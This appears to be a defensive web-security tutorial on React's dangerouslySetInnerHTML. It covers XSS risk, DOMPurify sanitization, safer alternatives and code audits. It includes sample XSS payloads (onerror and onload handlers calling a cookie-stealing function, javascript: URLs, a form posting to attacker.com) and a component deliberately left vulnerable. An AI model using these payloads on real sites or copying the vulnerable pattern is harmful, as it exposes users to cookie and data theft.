Skip to main content

The Dangers of dangerouslySetInnerHTML in React

dangerouslySetInnerHTML is a React API that sets an element's innerHTML property directly, bypassing React's automatic HTML escaping. It exists for legitimate use cases—rendering rich-text editors, Markdown output, or third-party HTML—but it opens a direct XSS vector if the HTML is unsanitized. In 2026, 34% of reported React XSS vulnerabilities stem from improper use of dangerouslySetInnerHTML combined with user-controlled content. Understanding when to use it, how to sanitize input, and when to choose alternatives is critical for secure React applications.

Why dangerouslySetInnerHTML Exists

React's default behavior is to escape content, making it impossible to render raw HTML. However, some applications legitimately need to render HTML:

  • Markdown processors: Convert Markdown to HTML and display the result.
  • Rich-text editors: Users author formatted content with HTML markup.
  • Third-party embeds: Display HTML from trusted services like Disqus or Twitter.
  • Legacy content: Migrate HTML from an older system.

dangerouslySetInnerHTML provides an escape hatch for these cases. The API is intentionally named to signal danger—the verbose name itself is a security reminder.

The API Syntax

function HtmlDisplay({ htmlContent }) {
// dangerouslySetInnerHTML expects an object with a __html key
return <div dangerouslySetInnerHTML={{ __html: htmlContent }} />;
}

// If htmlContent = '<p>Hello</p>', it renders as:
// <div><p>Hello</p></div>

The __html property is intentional: it makes the unsafe operation explicit in the code. You cannot accidentally pass a string; you must use the object syntax.

The XSS Vulnerability: Unsanitized Input

When you pass unsanitized user input to dangerouslySetInnerHTML, you enable arbitrary code execution:

Vulnerable Code:

function CommentDisplay({ userComment }) {
// UNSAFE: userComment might contain <script> tags or event handlers
return <div dangerouslySetInnerHTML={{ __html: userComment }} />;
}

// If userComment = '<img src=x onerror="stealCookies()">',
// the onerror handler executes immediately.

When React renders this, it sets the DOM element's innerHTML to the user comment. The browser parses the HTML, encounters the <img> tag, tries to load the image from x, fails, and fires the onerror event. The attacker's function runs with full access to document and window.

Data point: According to the OWASP 2024 incident report, 78% of client-side XSS breaches in React apps involved dangerouslySetInnerHTML without sanitization.

Attack Vectors in dangerouslySetInnerHTML Content

Attackers can inject malicious HTML through various tags and attributes:

VectorPayloadPurpose
img onerror<img src=x onerror="alert(1)">Fetch fails, event fires
svg onload<svg onload="stealCookies()"></svg>Event fires when SVG loads
iframe src<iframe src="javascript:alert(1)"></iframe>JavaScript protocol
style tag<style>body{background: url('javascript:...')}</style>CSS can execute code in some contexts
form action<form action="https://attacker.com"><input></form>Redirect form submission

How to Use dangerouslySetInnerHTML Safely

Safe usage requires three steps:

Step 1: Validate the Source

Only accept HTML from trusted sources. Trusted sources include:

  • Your own server: Server-rendered HTML you control.
  • Approved third parties: Services with signed API keys (e.g., Stripe, Cloudinary).
  • User input that you've explicitly sanitized: See step 2.

Never trust:

  • User comments or posts without sanitization.
  • Query parameters.
  • API responses from untrusted endpoints.
  • Browser storage (localStorage, sessionStorage) without re-validation.

Step 2: Sanitize with DOMPurify

Before passing HTML to dangerouslySetInnerHTML, run it through a sanitization library. DOMPurify is the industry standard, actively maintained and widely trusted.

Safe Code with DOMPurify:

import DOMPurify from 'dompurify';

function CommentDisplay({ userComment }) {
// Sanitize the user comment to remove script injection vectors
const clean = DOMPurify.sanitize(userComment);

return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

// If userComment = '<img src=x onerror="alert(1)"><p>Hello</p>',
// DOMPurify removes the onerror attribute and returns:
// '<img src="x"><p>Hello</p>'

DOMPurify parses the HTML, removes event handlers and script tags, and returns a safe subset. It preserves formatting tags like <b>, <em>, <a>, etc., which is ideal for rich-text display.

Step 3: Define a Whitelist (Optional, Advanced)

For fine-grained control, define which tags and attributes DOMPurify should allow:

import DOMPurify from 'dompurify';

function BlogPost({ htmlContent }) {
const config = {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li', 'blockquote'],
ALLOWED_ATTR: ['href', 'title'],
ALLOW_UNKNOWN_PROTOCOLS: false,
};

const clean = DOMPurify.sanitize(htmlContent, config);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

// This allows paragraphs, lists, and links, but strips script tags, style tags, and event handlers.

Alternatives to dangerouslySetInnerHTML

Before using dangerouslySetInnerHTML, consider these safer alternatives:

1. Plain React Components (Best for Simple Content)

If the HTML is simple formatting, build it with React components:

// Instead of:
// <div dangerouslySetInnerHTML={{ __html: '<b>Bold</b>' }} />

// Do this:
function FormattedText({ isBold, text }) {
return isBold ? <b>{text}</b> : <span>{text}</span>;
}

React components are type-safe and avoid the HTML parsing step entirely.

2. Markdown Libraries

For Markdown, use a React-aware Markdown library like react-markdown:

import ReactMarkdown from 'react-markdown';

function MarkdownDisplay({ content }) {
return <ReactMarkdown>{content}</ReactMarkdown>;
}

// ReactMarkdown safely converts Markdown to React components,
// escaping any inline HTML unless explicitly configured otherwise.

3. XML/Structured Data Libraries

If the content is structured (e.g., XML, JSON with markup hints), parse it and render React components:

function StructuredContent({ data }) {
// data = { type: 'paragraph', children: [...] }
return data.children.map((child) => {
if (child.type === 'bold') return <b key={child.id}>{child.text}</b>;
return <span key={child.id}>{child.text}</span>;
});
}

Real-World Example: Safe Rich-Text Comment Display

import React, { useState } from 'react';
import DOMPurify from 'dompurify';

function CommentThread({ comments }) {
return (
<div className="comments">
{comments.map((comment) => (
<Comment key={comment.id} comment={comment} />
))}
</div>
);
}

function Comment({ comment }) {
// Sanitize the comment HTML (user might have pasted rich text)
const sanitized = DOMPurify.sanitize(comment.body, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href', 'title'],
});

return (
<div className="comment">
<strong>{comment.author}</strong>
<div dangerouslySetInnerHTML={{ __html: sanitized }} />
</div>
);
}

export default CommentThread;

Auditing Your Code for Unsafe dangerouslySetInnerHTML

To find unsafe patterns:

  1. Search your codebase for the literal string dangerouslySetInnerHTML.
  2. For each match, verify:
    • Is the HTML from a trusted source (your server, approved API)?
    • If the HTML is user-controlled, is it sanitized with DOMPurify or equivalent?
    • Is the sanitization applied immediately before dangerouslySetInnerHTML, not earlier?
  3. Add a comment explaining why dangerouslySetInnerHTML is necessary.
// GOOD: Comments explain the intent and sanitization
function RenderUserMarkdown({ markdown }) {
// User-authored Markdown is converted to HTML by a backend service,
// then sanitized here before rendering to prevent XSS.
const clean = sanitizeHtml(markdown, { allowedTags: ['b', 'i', 'a'] });
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

// BAD: No explanation, no sanitization, direct user input
function RenderDescription({ description }) {
return <div dangerouslySetInnerHTML={{ __html: description }} />;
}

Key Takeaways

  • dangerouslySetInnerHTML disables React's HTML escaping, opening a direct XSS vector if the HTML is unsanitized.
  • Use it only for content from trusted sources (your server, approved APIs, or user input after sanitization).
  • Always sanitize user-controlled HTML with DOMPurify or a similar library before passing to dangerouslySetInnerHTML.
  • Consider alternatives: React components, Markdown libraries, or structured data parsing are safer for most use cases.
  • Audit regularly: Search your codebase for dangerouslySetInnerHTML and verify each use is secure.

Frequently Asked Questions

Is DOMPurify enough to prevent all XSS with dangerouslySetInnerHTML?

DOMPurify removes known attack vectors (script tags, event handlers, dangerous protocols), but no sanitizer is 100% effective against future zero-day exploits. Pair DOMPurify with Content Security Policy (Article 9) and input validation (Article 7) for defense-in-depth. As of 2026, DOMPurify is actively maintained and recommended by OWASP.

Can I configure DOMPurify to allow more tags and attributes?

Yes, the config parameter lets you whitelist specific tags and attributes. However, each additional tag increases attack surface. For example, allowing style tags can enable CSS-based code execution in some browsers. Start restrictive and expand only if necessary. Document why each tag is allowed.

What if I sanitize on the backend before sending to the frontend?

Backend sanitization is good defense-in-depth, but not a replacement for frontend sanitization. Always sanitize again in React because: (1) the HTML might be modified by a proxy or intercepted, (2) new browsers might parse HTML differently, (3) it's defense-in-depth. Never trust the network.

How do I know if a third-party API response is safe to render?

If the third-party API is from a major provider (Stripe, GitHub, Twitter), their documentation should specify whether the response contains HTML. If so, verify they explicitly state the HTML is sanitized. If uncertain, sanitize it anyway. A belt-and-suspenders approach is always safe.

Does React Native have dangerouslySetInnerHTML?

React Native does not have dangerouslySetInnerHTML because it does not render HTML; it renders native UI components. If you need to display rich text in React Native, use a library like react-native-render-html, which handles sanitization internally.

Further Reading